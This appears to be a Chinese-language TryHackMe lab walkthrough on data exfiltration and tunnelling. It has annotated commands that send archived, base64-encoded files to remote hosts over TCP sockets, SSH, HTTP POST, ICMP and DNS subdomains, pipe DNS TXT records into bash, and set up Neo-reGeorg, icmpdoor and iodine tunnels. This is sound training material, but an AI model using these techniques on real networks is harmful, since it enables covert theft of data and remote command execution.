文章目录
- 一、网络拓扑
- 二、数据泄露分类
- 2.1 传统数据泄露
- 2.2 C2通信
- 2.3 隧道
- 三、隧道
- 3.1 Exfiltration using TCP socket
- 3.2 Exfiltration using SSH
- 3.3 Exfiltrate using HTTP(S)
- HTTP隧道
- 3.4 Exfiltration using ICMP
- 3.4.1 ICMP数据包结构
- 3.4.2 MSF实现ICMP数据泄露
- 3.4.3 ICMP C2通信
- 3.5 Exfiltration over DNS
- 3.5.1 DNS配置
- 3.5.2 Exfiltration over DNS
- 3.5.3 通过DNS实现C2通信
- 3.5.4 DNS隧道
数据泄露(Data Exfiltration
)指的是将数据从受感染的计算机复制并传输到攻击者的计算机,依赖于 DNS、HTTP、SSH 等网络协议。通常,使用常见协议进行数据泄露很难检测和区分合法流量和恶意流量。
一、网络拓扑
使用ssh
与跳板机建立连接:
ssh thm@10.10.125.142
# Machine IP: 10.10.125.142
# Username: thm
# Password: tryhackme
二、数据泄露分类
2.1 传统数据泄露
传统的数据泄露场景是将敏感数据从组织网络中转移出去。攻击者可以发起一个或多个网络请求来传输数据,具体取决于数据大小和所使用的协议。所有流量都将单向传输,即从网络内部到外部,一旦数据存储在攻击者的服务器上,攻击者就可以登录服务器并获取数据。通信方向:内网 ------> 外网
2.2 C2通信
许多 C2 框架提供了建立通信通道的选项,包括用于发送命令和接收来自受害机器的响应的标准和非传统协议。在 C2 通信中,攻击者发送有限数量的请求,以在受害者机器上执行命令。然后,代理的客户端执行该命令,并通过非传统协议发送包含结果的回复。通信将双向进行:进入网络和从网络发出。(强调攻击者发送命令且接受响应)
2.3 隧道
在隧道攻击场景中,攻击者使用此数据泄露技术在受害者和攻击者的机器之间建立通信通道。该通信通道充当桥梁,使攻击者的机器能够访问整个内部网络,在建立连接的过程中,会有持续的流量发送和接收。
这节主要介绍隧道使用!!!
三、隧道
3.1 Exfiltration using TCP socket
重点:如何使用数据编码通过 TCP 窃取数据。相关技术包括:TCP套接字、数据编码和归档。
传统TCP通信的工作原理如下图所示,核心在于一个监听一个请求。
监听JumpBox
的8080
端口:
nc -lvp 8080 > /tmp/task4-creds.data
# nc监听8080端口,一旦收到数据,将其存储在/tmp/目录中,并将其命名为task4-creds.data
在AttackBox
上使用ssh
与victim1
建立连接:
ssh thm@victim1.thm.com
# password:tryhackme
读取敏感文件:
cat task4/creds.txt
使用编码将敏感文件发送到JumpBox
:
# 将目录task4/打包、编码并通过网络发送到远程主机
tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080
# tar zcf - task4/: 将task4目录打包并用gzip压缩,结果输出到标准输出
## tar: 归档工具
## z: 使用gzip压缩
## c: 创建新归档
## f -: 输出到标准输出(stdout)而不是文件
## task4/: 要打包的目录
# | base64:将tar的输出通过管道传递给base64命令,将二进制数据编码为ASCII字符(Base64编码)。
# | dd conv=ebcdic:将Base64编码的数据转换为EBCDIC编码。
## dd:数据转换工具
# > /dev/tcp/192.168.0.133/8080:将数据通过TCP发送到192.168.0.133的8080端口。
可以看到,刚刚victim1
的敏感数据保存在jumpbox
的/tmp
目录下:
在jumpbox
上使用下面的命令将加密数据还原为原始数据:
cd /tmp
# 还原加密数据
dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar
# 解压压缩包
tar xvf task4-creds.tar
## x:提取tar文件;
## v:详细列出文件;
## f:使用存档文件。
3.2 Exfiltration using SSH
SSH
协议建立了一个安全通道,用于在客户端和服务器之间进行交互和传输数据,因此所有通过网络或互联网传输的数据都是加密的。
因为jumpbox
和victim1
都开启ssh服务,可以使用ssh进行数据传输(依赖于 SSH 建立的加密通道传输数据)。在victim1
中使用下面的命令:
tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"
# tar zcf - task4/: 将task4目录打包并用gzip压缩,结果输出到标准输出
## tar: 归档工具
## c: 创建新归档
## f -: 输出到标准输出(stdout)而不是文件
# SSH客户端提供了一种无需完整会话即可执行单个命令的方法
## ssh thm@jump.thm.com "cd /tmp/; tar xpf -":ssh联系服务器,并在服务器上执行引号中的命令。
## x:解压归档文件
## p:保留文件权限(如 chmod 权限)
## f -:从 stdin(标准输入)读取tar数据(即tar cf - 传过来的数据)
3.3 Exfiltrate using HTTP(S)
通过 HTTP 协议窃取数据是最佳选择之一,因为它很难检测。区分合法和恶意的 HTTP 流量非常困难。我们将在数据窃取中使用 POST HTTP 方法,因为使用GET
请求时,所有参数都会记录到日志文件中,而使用 POST 请求时则不会(有些也会)。以下是 POST 方法的一些优势:
- POST 请求永远不会被缓存;
- POST 请求不会保留在浏览器历史记录中;
- POST 请求无法被收藏;
- POST 请求对数据长度没有限制;
假设攻击者控制了web.thm.com
,需要将victim1.thm.com
中的数据通过http隧道发送到web.thm.com
。
首先,web.thm.com
中应该有一个接收数据的脚本contact.php
,内容如下:
# 将post请求中file参数的值写入/tmp/http.bs64
<?php
if (isset($_POST['file'])) {
$file = fopen("/tmp/http.bs64","w");
fwrite($file, $_POST['file']);
fclose($file);
}
?>
在victim1.thm.com
中执行下面的命令,将敏感数据传输到web.htm.com
:
curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php
# tar zcf - task6:将task6目录打包并压缩为.tar.gz格式,输出到stdout;
# | base64:将二进制数据编码为ASCII字符(Base64 编码),确保可通过HTTP安全传输;
# $(...):将子命令的输出作为字符串嵌入到父命令中,这里将"tar zcf - task6 | base64"的结果作为字符串赋值给file参数;
# curl --data "file=...":
## --data: 发送POST请求(默认 Content-Type: application/x-www-form-urlencoded);
## "file=...": 构造POST数据。
在web.htm.com
中查看收到的数据:
ls /tmp
cat /tmp/http.bs64
# 将文件中的空格替换为+
sudo sed -i 's/ /+/g' /tmp/http.bs64
## sed -i :流编辑器,直接修改文件;
## 替换规则s/原内容/新内容/,g代表替换所有匹配项。
cat /tmp/http.bs64 | base64 -d | tar xvfz -
上述我们展示了通过HTTP
协议进行数据泄露,这意味着所有传输的数据都是明文的。如果在启用SSL
的 Web 服务器上应用之前展示的相同技术,可以看到所有传输的数据都将被加密。如果您有兴趣设置自己的HTTPS服务器,建议您访问Digital Ocean。
HTTP隧道
如果HTTP
协议隧道技术封装了其他协议,并通过HTTP协议来回发送它们,HTTP 隧道会根据通信信道发送和接收大量HTTP请求!
有如下一个典型的场景:uploader.thm.com
服务器可以通过互联网访问,并向所有人提供 Web 服务。然而,app.thm.com
服务器在本地运行,仅为内部网络提供服务,如下图所示:
目的:创建一个HTTP隧道通信通道,以便接入内部网络并通过HTTP协议与本地网络设备进行通信。
假如uploader.thm.com
上有一个Web应用程序,它允许我们将HTTP隧道代理文件上传到uploader.thm.com
。上传并连接到该服务器后,我们就能与app.thm.com
进行通信。
对于HTTP隧道,我们将使用
Neo-reGeorg
工具建立访问内部网络设备的通信通道。
需要生成一个加密的客户端文件,并将其上传到受害者的Web服务器。使用如下命令生成加密的客户端文件:
python3 neoreg.py generate -k thm
# 密钥为:thm
将tunnel.php
上传到ttp://10.10.144.113/uploader
:
通过访问上传的tunnel.php
在attackbox
与uploader.thm.com
之间建立http隧道:
root@AttackBox:/opt/Neo-reGeorg# python3 neoreg.py -k thm -u http://10.10.144.113/uploader/files/tunnel.php
隧道连接成功后,会在本地127.0.0.1:1080
启动一个 SOCKS5代理服务,所有发送到这个端口的流量,都会通过隧道转发到目标网络。
例如,我们想访问flag.thm.com
(其内部 IP 地址为172.20.0.120
,端口为80
),我们可以使用带有--socks5
参数的curl命令:
curl --socks5 127.0.0.1:1080 http://172.20.0.120:80
3.4 Exfiltration using ICMP
ICMP
代表互联网控制消息协议 (ICMP),它是一种用于处理错误报告的网络层协议。路由器等网络设备使用ICMP
协议来检查设备之间的网络连接。
请注意,ICMP 协议不是在设备之间发送数据的传输协议。
假设两台主机需要测试网络中的连通性,那么我们可以使用ping
命令通过网络发送ICMP
数据包,如下图所示。
HOST1
发送一个 ICMP 数据包,其中包含一个回显请求数据包。然后,如果HOST2
可访问,它会返回一个 ICMP 数据包,其中包含一个回显应答消息。
3.4.1 ICMP数据包结构
ICMP数据包的结构包含一个可选的数据字段,它可以为空,也可以在通信期间包含随机字符串。作为攻击者,我们可以将数据包含在数据字段中,并通过ICMP
数据包将其发送到另一台计算机。另一台计算机必须使用ICMP
数据包捕获网络流量才能接收数据。
使用ping
命令发送ICMP数据包:
ping 10.10.144.113 -c 1
可以看到,ICMP数据包中数据字段被随机字符填充。
Linux操作系统中的ping
命令有一个有趣的 ICMP 选项,使用-p
参数,我们可以指定 16个字节的十六进制数据,并通过数据包发送。
请注意,
-p
选项仅适用于Linux操作系统。
假设我们拿到了凭证,需要将其通过ICMP协议带出去。可以使用下面的命令:
# 将thm:tryhackme转化为16进制数据
echo "thm:tryhackme" | xxd -p
# xxd是一个十六进制转储工具(通常用来查看或转换二进制数据)
# -p:表示以纯十六进制连续输出
再使用ICMP协议传输转化为16进制的凭证:
ping 10.10.144.113 -c 1 -p 74686d3a7472796861636b6d650a
成功填充到ICMP数据包的数据字段中。
3.4.2 MSF实现ICMP数据泄露
下面,我们将利用MSF实现ICMP数据泄露,其实就是通过MSF自动捕获ICMP数据包中的数据字段。详细来说,MSF会捕获传入的 ICMP 数据包并等待文件开头 (BOF) 触发值;收到触发值后,它会将数据写入磁盘,直到收到文件结尾 (EOF) 触发值
在attackbox
上,使用MSF部署ICMP监听模块:
# 选择ICMP监听模块
use auxiliary/server/icmp_exfil
# 设置一个BPF (Berkeley Packet Filter)过滤器
## icmp:仅捕获ICMP协议的数据包
## not src 10.10.176.72:排除源地址为10.10.176.72的ICMP数据包
set BPF_FILTER icmp and not src 10.10.176.72
# 设置监听的网卡
set INTERFACE ens5
run
使用ssh从attackbox
登录到jumpbox
,再使用ssh
从jumpbox
登录到icmp.thm.com
。
在icmp.thm.com
上,使用nping
发送一个自定义数据的ICMP数据包:
sudo nping --icmp -c 1 10.10.176.72 --data-string "BOFfile.txt"
# --icmp:指定使用ICMP协议;
# -c 1:只发送一个数据包;
# --data-string "BOFfile.txt":在ICMP包中嵌入自定义字符串“BOFfile.txt”,通常是嵌入到ICMP数据包的数据字段中
sudo nping --icmp -c 1 10.10.176.72 --data-string "admin:password"
sudo nping --icmp -c 1 10.10.176.72 --data-string "admin2:password2"
sudo nping --icmp -c 1 10.10.176.72 --data-string "EOF"
MSF默认触发触发值:
BOFfile.txt
,默认结束值:EOF
。
3.4.3 ICMP C2通信
下面,将演示使用ICMPDoor
工具通过ICMP协议执行命令。
ICMPDoor
原理:攻击者仍然利用ICMP数据包中的数据字段发送命令,命令执行后,受害者机器会将执行输出存放在ICMP数据包的数据字段中,并通过ICMP协议返回给攻击者。
目的:jump.thm.com
作为服务端(主动连接),icmp.thm.com
作为客户端(监听)。
在icmp.thm.com
上使用下面的命令完成监听:
thm@icmp-host:~$ sudo icmpdoor -i eth0 -d 192.168.0.133
# -i: 192.168.0.121的网卡
# 192.168.0.133:jump.thm.com地址,服务端地址
在jump.thm.com
上执行下面的命令,建立icmp C2通信:
thm@jump-box$: sudo icmp-cnc -i eth1 -d 192.168.0.121
# -i: 192.168.0.133的网卡
# 192.168.0.121:icmp.thm.com地址,客户端地址
3.5 Exfiltration over DNS
3.5.1 DNS配置
有一台新的设备加入network 2
,域名:attacker.thm.com
,IP:172.20.0.200
。网络1和网络2的关系如下:
通过http://10.10.217.212/
对DNS进行设置:
添加A记录:对应权威DNS服务器的IP。当用户查询t1ns.tunnel.com
时,DNS系统会返回172.20.0.200
。
NS记录:指定某个子域名的权威DNS服务器,告诉客户端该去找哪台服务器解析域名。将t1.tunnel.com
的所有查询委托给t1ns.tunnel.com
。
当查询xxx.t1.tunnel.com
时:
- 递归 DNS 服务器会先找到
t1.tunnel.com
的NS记录(指向t1ns.tunnel.com
)。 - 向
t1ns.tunnel.com
(IP=172.20.0.200
)发起查询,询问xxx.t1.tunnel.com
的IP。 t1ns.tunnel.com
(IP=172.20.0.200
)可以自由返回任意 IP(如1.1.1.1
或恶意 C2 服务器 IP)。
常见误区澄清:
❌ 误区:xxx.t1.tunnel.com
的 IP == t1ns.tunnel.com
的 IP(172.20.0.200
)。
✅ 真相:172.20.0.200
只是 DNS 服务器的地址,xxx.t1.tunnel.com
的 IP 由该服务器动态返回。
❌ 误区:NS记录直接返回 IP。
✅ 真相:NS记录只指定权威服务器,需进一步查询A/AAAA/CNAME记录才能获取 IP。
3.5.2 Exfiltration over DNS
DNS协议主要目的是将域名解析为IP地址,尽管DNS协议并非设计用于传输数据,但威胁行为者找到了滥用该协议并通过其传输数据的方法。而且,几乎所有组织网络中的防火墙都允许使用 DNS 协议,因此,这里展示通过DNS协议窃取数据的技术。
首先,DNS协议中存在关于域名格式的核心规则:
- FQDN(完全限定域名)最大长度为255 字节。完整域名长度最长255字节
- 子域名最大长度为63 字节。下图中WWW最长63字节。
基于上述规则,我们可以使用有限的字符数通过域名传输数据。通过DNS进行数据泄露的要求和步骤,具体如下:
- 攻击者注册一个域名,例如
tunnel.com
。 - 攻击者将
tunnel.com
的NS记录指向其控制的服务器(ns1.tunnel.com
)。 - 恶意软件或攻击者将敏感数据从受害计算机发送到其控制的域名,例如
passw0rd.tunnel.com
,其中passw0rd
是需要传输的数据。 - DNS请求通过本地DNS服务器发送,并通过互联网转发。
- 攻击者的权威DNS(恶意服务器)接收DNS请求。
- 攻击者从域名中提取密码。
其中,有两个技术细节:
- 递归查询过程:
- DNS解析请求 → 本地DNS服务器;
- 本地DNS服务器 → 查询根域名服务器 → 找到
.com
的权威服务器。 - 查询
.com
的权威服务器 → 找到tunnel.com
的NS记录(指向ns1.tunnel.com
)。 - 向
ns1.tunnel.com
(攻击者服务器)发起查询。
- DNS协议本身会将完整域名(包括子域名)发送到权威服务器。
例如,查询passw0rd.tunnel.com
时,passw0rd
会作为查询的一部分到达tunnel.com
的权威服务器(攻击者控制)。在查询tunnel.com
时,tunnel
会作为查询的一部分到达.com
的权威服务器。
何时需要使用DNS数据渗透
典型的场景是防火墙阻止并过滤所有流量,我们可以使用DNS协议让数据或 TCP/UDP 数据包穿过防火墙,但务必确保 DNS 被允许访问,并将域名解析为 IP 地址。
修改DNS记录
现在,让我们尝试在提供的网络环境中执行 DNS 数据泄露。请注意,在本场景中,我们将使用 tunnel.com 域名。我们还提供了一个 Web 界面,用于修改 tunnel.com 的 DNS 记录,以插入指向 AttackBox 计算机的名称服务器 (NS)。请确保在任务 8 中完成这些设置。
DNS 数据泄露
现在,解释一下手动DNS数据泄露技术及其工作原理。假设我们有一个包含敏感数据的creds.txt
文件,要通过DNS协议传输该文件,我们需要对文件内容进行编码,并将其作为子域名附加,如下所示:
- 获取需要传输的数据;
- 使用一种编码技术对文件进行编码;
- 将编码后的字符作为子域名发送。
注意:
- 我们可以向域名添加尽可能多的数据,但必须将整个URL限制在255个字符以内,并且每个子域名标签不能超过63个字符。
- 如果超出这些限制,需要拆分数据并发送更多DNS请求。
首先,在jumpbox
通过ssh协议登录到攻击者电脑上:
thm@jump-box$ ssh thm@attacker.thm.com
为了接收所有DNS请求,我们在攻击者电脑上使用tcpdump
工具捕获任何传入的 UDP/53数据包的网络流量。
thm@attacker$ sudo tcpdump -i eth0 udp port 53 -v
在jumpbox
通过ssh协议登录到victim2
电脑上:
thm@jump-box$ ssh thm@victim2.thm.com
假设要传输的敏感数据为credit.txt
:
为了发送文件的内容,我们需要将其转换为字符串表示形式,这可以使用任何编码表示形式(例如 Base64、十六进制、二进制等)来完成。这里我们使用Base64
对文件进行如下编码:
thm@victim2$ cat task9/credit.txt | base64
然后,我们需要根据输出的长度(DNS 限制)将其拆分为一个或多个 DNS 请求,并将其作为子域名附加。让我们先从拆分多个DNS请求开始,演示这两种方法。
DNS拆分方法1
thm@victim2:~$ cat task9/credit.txt | base64 | tr -d "\n"| fold -w18 | sed -r 's/.*/&.att.tunnel.com/'
# | tr -d "\n":删除所有的换行符,使Base64编码成为连续的单行字符串。
## tr:translate是一个字符替换/删除工具。
## -d:删除指定的字符。
## "\n" 代表换行符。
# | fold -w18:将长字符串按每18个字符一行进行折行。
## fold:一个文本折行工具。
## -w18:每行最多 18 个字符。
# | sed -r 's/.*/&.att.tunnel.com/':在每一行的末尾添加.att.tunnel.com后缀。
## sed:流编辑器,用于文本替换/处理。
## -r:使用正则表达式(支持&等特殊符号)。
## s/.*/&.att.tunnel.com/:正则表达式规则:
### .* 匹配整行内容。
### & 代表匹配到的内容(即整行)。
### &.att.tunnel.com,即原内容+.att.tunnel.com。
DNS拆分方法2
thm@victim2:~$ cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/
# sed 's/.*/&./':在每一行的末尾添加一个点.。
# sed s/$/att.tunnel.com/:在每一行的末尾添加 att.tunnel.com
## $:匹配行尾
使用第二种方法通过DNS实现数据泄露:
thm@victim2:~$ cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ | awk '{print "dig +short " $1}' | bash
# awk '{print "dig +short " $1}':读取输入内容,批量生成dig +short查询命令。
## awk:awk是一个文本处理工具,按行处理输入数据;
## {print "dig +short " $1}:对每一行执行;
### $1:提取该行的第一列(默认以空格/Tab分隔)。
# | bash:将awk生成的命令通过管道传递给bash解释器直接执行
在攻击机上可以看到DNS解析记录:
恢复敏感数据:
thm@attacker:~$ echo "TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUvMjAyMg.pDb2RlOiAxMzM3Cg==.att.tunnel.com." | cut -d"." -f1-8 | tr -d "." | base64 -d
# cut -d"." -f1-8:提取前8个以.分隔的部分。
## -d".":指定分隔符为.(默认是 Tab);
## -f1-8:选择第1到第8个字段(以.分割的部分);
# tr -d ".":删除所有.字符,将多行合并为连续的Base64字符串。
3.5.3 通过DNS实现C2通信
除了通过DNS协议传输敏感信息,还可以通过TXT记录下发命令脚本。
首先,为script.tunnel.com
设置txt记录,内容为下面脚本的base64编码:
## /tmp/script.sh脚本内容
#!/bin/bash
ping -c 1 test.thm.com
## 脚本内容进行base64编码
cat /tmp/script.sh | base64
在victim2
上请求script.tunnel.com
的TXT
记录,将会返回base64化的脚本内容。
使用下面命令执行脚本内容
dig +short -t TXT script.tunnel.com | tr -d "\"" | base64 -d | bash
# tr -d "\"":删除";
# | base64 -d | bash:解码后让bash执行。
3.5.4 DNS隧道
DNS隧道:此技术也称为 TCP over DNS,攻击者使用 DNS 数据泄露技术,将其他协议(例如 HTTP 请求)封装在DNS协议上。DNS 隧道建立了一个通信通道,用于持续发送和接收数据。
我们将使用iodine工具创建 DNS 隧道通信。要建立 DNS 隧道,需要遵循以下步骤:
- 确保更新 DNS 记录并创建新的 NS 指向AttackBox.
- 从AttackBox运行
iodined
服务器。 (注意:服务器端我们使用iodined
) - 在
JumpBox
上运行iodine
客户端建立连接。(注意:客户端我们使用iodine
) - 通过 SSH 连接到已创建的网络接口上的机器,以创建 DNS 代理。我们将使用 -D 参数创建动态端口转发。
- 建立 SSH 连接后,我们可以在 Firefox 或 ProxyChains 中使用本地 IP 和本地端口作为代理。
iodine工作原理:
- DNS 隧道建立
- 服务端(此命令)监听来自客户端的 DNS 查询(通常是对 att.tunnel.com 的子域名请求)。
- 所有隧道数据被编码为 DNS 请求/响应(如 data123.att.tunnel.com)。
- 虚拟网络配置
- 服务端创建一个虚拟网络接口(如 dns0),IP 为 10.1.1.1。
- 客户端连接后,会分配到 10.1.1.2、10.1.1.3 等 IP,形成点对点网络。
- 数据传输
- 客户端将流量封装到 DNS 查询中,发送到服务端。
- 服务端解码后转发到真实网络,并将响应通过 DNS 返回。
在攻击机上运行下面的命令:
thm@attacker$ sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com
# -f:前台运行(显示调试信息,不转为后台进程)
# -c:禁用客户端 IP 检查(允许任何客户端连接)
# -P thmpass:设置认证密码为 thmpass(客户端需匹配)
# 10.1.1.1/24:指定隧道内使用的虚拟 IP 范围(服务端占用 10.1.1.1)
# att.tunnel.com:攻击者控制的域名,用于封装DNS请求
在jumpbox
上运行下面的命令,连接服务端:
thm@jump-box:~$ sudo iodine -P thmpass att.tunnel.com
通过查看jumpbox
上的ifconfig
,可以看到一个虚拟网卡;
在攻击机(172.20.0.200)上可以通过ssh与iodine
客户端(jumpbox
)建立联系,实现DNS隧道+SSH加密的目的:
root@attacker$ ssh thm@10.1.1.2 -4 -f -N -D 1080
# -4:强制使用IPv4(禁用IPv6)
# -f:后台运行(连接成功后转入后台)
# -N:不执行远程命令(仅建立隧道)
# -D 1080:在本地1080端口开启SOCKS代理
通过socks5代理实现隧道通信:
curl --socks5 127.0.0.1:1080 http://192.168.0.100/test.php
核心:DNS隧道突破限制 → SSH加密增强隐蔽性 → SOCKS代理标准化使用
流量方向:攻击者 → 攻击者1080端口 → SSH加密 → 10.1.1.2服务器(跳板机) → 目标网站/服务